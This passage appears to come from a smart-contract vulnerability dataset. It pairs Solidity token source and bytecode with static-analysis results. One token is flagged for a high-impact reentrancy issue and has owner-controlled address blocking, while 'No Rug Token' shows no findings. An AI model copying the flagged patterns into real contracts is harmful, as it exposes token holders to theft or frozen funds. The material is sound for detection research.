(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c6578063b515566a146102e6578063c3c8cd8014610306578063c9567bf91461031b578063dd62ed3e1461033057600080fd5b806370a082311461023c578063715018a61461025c5780638da5cb5b1461027157806395d89b411461029957600080fd5b8063273123b7116100d1578063273123b7146101c9578063313ce567146101eb5780635932ead1146102075780636fc3eaec1461022757600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a81526946616c636f6e20496e7560b01b60208201525b60405161014a919061153e565b60405180910390f35b34801561015f57600080fd5b5061017361016e3660046115b8565b610376565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c43660046115e4565b61038d565b3480156101d557600080fd5b506101e96101e4366004611625565b6103f6565b005b3480156101f757600080fd5b506040516009815260200161014a565b34801561021357600080fd5b506101e9610222366004611650565b61044a565b34801561023357600080fd5b506101e9610492565b34801561024857600080fd5b5061019b610257366004611625565b6104bf565b34801561026857600080fd5b506101e96104e1565b34801561027d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a557600080fd5b5060408051808201909152600481526346494e5560e01b602082015261013d565b3480156102d257600080fd5b506101736102e13660046115b8565b610555565b3480156102f257600080fd5b506101e9610301366004611683565b610562565b34801561031257600080fd5b506101e96105f8565b34801561032757600080fd5b506101e961062e565b34801561033c57600080fd5b5061019b61034b366004611748565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103833384846109a6565b5060015b92915050565b600061039a848484610aca565b6103ec84336103e785604051806060016040528060288152602001611945602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e17565b6109a6565b5060019392505050565b6000546001600160a01b031633146104295760405162461bcd60e51b815260040161042090611781565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161042090611781565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b257600080fd5b476104bc81610e51565b50565b6001600160a01b03811660009081526002602052604081205461038790610ed6565b6000546001600160a01b0316331461050b5760405162461bcd60e51b815260040161042090611781565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610383338484610aca565b6000546001600160a01b0316331461058c5760405162461bcd60e51b815260040161042090611781565b60005b81518110156105f4576001600660008484815181106105b0576105b06117b6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ec816117e2565b91505061058f565b5050565b600c546001600160a01b0316336001600160a01b03161461061857600080fd5b6000610623306104bf565b90506104bc81610f5a565b6000546001600160a01b031633146106585760405162461bcd60e51b815260040161042090611781565b600f54600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610420565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082683635c9adc5dea000006109a6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075191906117fb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c291906117fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906117fb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610863816104bf565b6000806108786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109059190611818565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190611846565b6001600160a01b038316610a085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610a695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610b905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610bf25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6001600a556009600b556000546001600160a01b03848116911614801590610c2857506000546001600160a01b03838116911614155b15610e07576001600160a01b03831660009081526006602052604090205460ff16158015610c6f57506001600160a01b03821660009081526006602052604090205460ff16155b610c7857600080fd5b600f546001600160a01b038481169116148015610ca35750600e546001600160a01b03838116911614155b8015610cc857506001600160a01b03821660009081526005602052604090205460ff16155b8015610cdd5750600f54600160b81b900460ff165b15610d3a57601054811115610cf157600080fd5b6001600160a01b0382166000908152600760205260409020544211610d1557600080fd5b610d2042603c611863565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d655750600e546001600160a01b03848116911614155b8015610d8a57506001600160a01b03831660009081526005602052604090205460ff16155b15610d9a576001600a556009600b555b6000610da5306104bf565b600f54909150600160a81b900460ff16158015610dd05750600f546001600160a01b03858116911614155b8015610de55750600f54600160b01b900460ff165b15610e0557610df381610f5a565b478015610e0357610e0347610e51565b505b505b610e128383836110d4565b505050565b60008184841115610e3b5760405162461bcd60e51b8152600401610420919061153e565b506000610e48848661187b565b95945050505050565b600c546001600160a01b03166108fc610e6b8360026110df565b6040518115909202916000818181858888f19350505050158015610e93573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610eae8360026110df565b6040518115909202916000818181858888f193505050501580156105f4573d6000803e3d6000fd5b6000600854821115610f3d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610420565b6000610f47611121565b9050610f5383826110df565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa257610fa26117b6565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101f91906117fb565b81600181518110611032576110326117b6565b6001600160a01b039283166020918202929092010152600e5461105891309116846109a6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611091908590600090869030904290600401611892565b600060405180830381600087803b1580156110ab57600080fd5b505af11580156110bf573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e12838383611144565b6000610f5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061123b565b600080600061112e611269565b909250905061113d82826110df565b9250505090565b600080600080600080611156876112ab565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111889087611308565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111b7908661134a565b6001600160a01b0389166000908152600260205260409020556111d9816113a9565b6111e384836113f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122891815260200190565b60405180910390a3505050505050505050565b6000818361125c5760405162461bcd60e51b8152600401610420919061153e565b506000610e488486611903565b6008546000908190683635c9adc5dea0000061128582826110df565b8210156112a257505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006112c88a600a54600b54611417565b92509250925060006112d8611121565b905060008060006112eb8e87878761146c565b919e509c509a509598509396509194505050505091939550919395565b6000610f5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e17565b6000806113578385611863565b905083811015610f535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610420565b60006113b3611121565b905060006113c183836114bc565b306000908152600260205260409020549091506113de908261134a565b30600090815260026020526040902055505050565b6008546114009083611308565b600855600954611410908261134a565b6009555050565b6000808080611431606461142b89896114bc565b906110df565b90506000611444606461142b8a896114bc565b9050600061145c826114568b86611308565b90611308565b9992985090965090945050505050565b600080808061147b88866114bc565b9050600061148988876114bc565b9050600061149788886114bc565b905060006114a9826114568686611308565b939b939a50919850919650505050505050565b6000826000036114ce57506000610387565b60006114da8385611925565b9050826114e78583611903565b14610f535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610420565b600060208083528351808285015260005b8181101561156b5785810183015185820160400152820161154f565b8181111561157d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bc57600080fd5b80356115b381611593565b919050565b600080604083850312156115cb57600080fd5b82356115d681611593565b946020939093013593505050565b6000806000606084860312156115f957600080fd5b833561160481611593565b9250602084013561161481611593565b929592945050506040919091013590565b60006020828403121561163757600080fd5b8135610f5381611593565b80151581146104bc57600080fd5b60006020828403121561166257600080fd5b8135610f5381611642565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561169657600080fd5b823567ffffffffffffffff808211156116ae57600080fd5b818501915085601f8301126116c257600080fd5b8135818111156116d4576116d461166d565b8060051b604051601f19603f830116810181811085821117156116f9576116f961166d565b60405291825284820192508381018501918883111561171757600080fd5b938501935b8285101561173c5761172d856115a8565b8452938501939285019261171c565b98975050505050505050565b6000806040838503121561175b57600080fd5b823561176681611593565b9150602083013561177681611593565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117f4576117f46117cc565b5060010190565b60006020828403121561180d57600080fd5b8151610f5381611593565b60008060006060848603121561182d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185857600080fd5b8151610f5381611642565b60008219821115611876576118766117cc565b500190565b60008282101561188d5761188d6117cc565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e25784516001600160a01b0316835293830193918301916001016118bd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261192057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561193f5761193f6117cc565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082ed0dbff0696fc6ab2a13bb54ad5d6e11ac53d64450ed955cc2fa538d597ade64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,247 |
0x1363729a0cd6ed9e983d9bd385c9ed3591053703
|
pragma solidity 0.7.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract NoRugToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "No Rug Token";
_symbol = "NRT";
_decimals = 18;
_totalSupply = _totalSupply.add(35 * 1e4 * 10**_decimals);
_balances[msg.sender] = _balances[msg.sender].add(35 * 1e4 * 10**_decimals);
emit Transfer(address(0), msg.sender, 35 * 1e4 * 10**_decimals);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) public {
require(msg.sender != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(msg.sender, address(0), amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102ca578063a9059cbb146102f6578063dd62ed3e14610322578063f2fde38b14610350576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639b1f9e74146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610376565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561040c565b604080519115158252519081900360200190f35b6101bf610429565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561042f565b61020f61049e565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b0381351690602001356104a7565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b03166104f5565b61027f610510565b005b6102896105c4565b604080516001600160a01b039092168252519081900360200190f35b6101026105d3565b61027f600480360360208110156102c357600080fd5b5035610634565b6101a3600480360360408110156102e057600080fd5b506001600160a01b0381351690602001356106f1565b6101a36004803603604081101561030c57600080fd5b506001600160a01b03813516906020013561073f565b6101bf6004803603604081101561033857600080fd5b506001600160a01b0381358116916020013516610753565b61027f6004803603602081101561036657600080fd5b50356001600160a01b031661077e565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104025780601f106103d757610100808354040283529160200191610402565b820191906000526020600020905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b60006104206104196108a1565b84846108a5565b50600192915050565b60035490565b600061043c848484610991565b610494846104486108a1565b6001600160a01b038716600090815260026020526040812061048f9187919061046f6108a1565b6001600160a01b0316815260208101919091526040016000205490610ad4565b6108a5565b5060019392505050565b60065460ff1690565b60006104206104b46108a1565b8461048f85600260006104c56108a1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610888565b6001600160a01b031660009081526001602052604090205490565b6105186108a1565b6000546001600160a01b0390811691161461057a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104025780601f106103d757610100808354040283529160200191610402565b336106705760405162461bcd60e51b8152600401808060200182810382526021815260200180610b5a6021913960400191505060405180910390fd5b61067c33600083610ae9565b336000908152600160205260409020546106969082610ad4565b336000908152600160205260409020556003546106b39082610ad4565b60035560408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60006104206106fe6108a1565b8461048f856002600061070f6108a1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610ad4565b600061042061074c6108a1565b8484610991565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6107866108a1565b6000546001600160a01b039081169116146107e8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661082d5760405162461bcd60e51b8152600401808060200182810382526026815260200180610b126026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561089a57600080fd5b9392505050565b3390565b6001600160a01b0383166108ea5760405162461bcd60e51b8152600401808060200182810382526024815260200180610ba06024913960400191505060405180910390fd5b6001600160a01b03821661092f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610b386022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109d65760405162461bcd60e51b8152600401808060200182810382526025815260200180610b7b6025913960400191505060405180910390fd5b6001600160a01b038216610a1b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610aef6023913960400191505060405180910390fd5b610a26838383610ae9565b6001600160a01b038316600090815260016020526040902054610a499082610ad4565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a789082610888565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610ae357600080fd5b50900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205905fff2e76d829788a93164ae1eaf7a64b5dc4839da03ef68a01232f8e6d46764736f6c63430007000033
|
{"success": true, "error": null, "results": {}}
| 4,248 |
0xeebb05e96b042002812e5ad63325adce431e6a34
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value)public returns (bool);
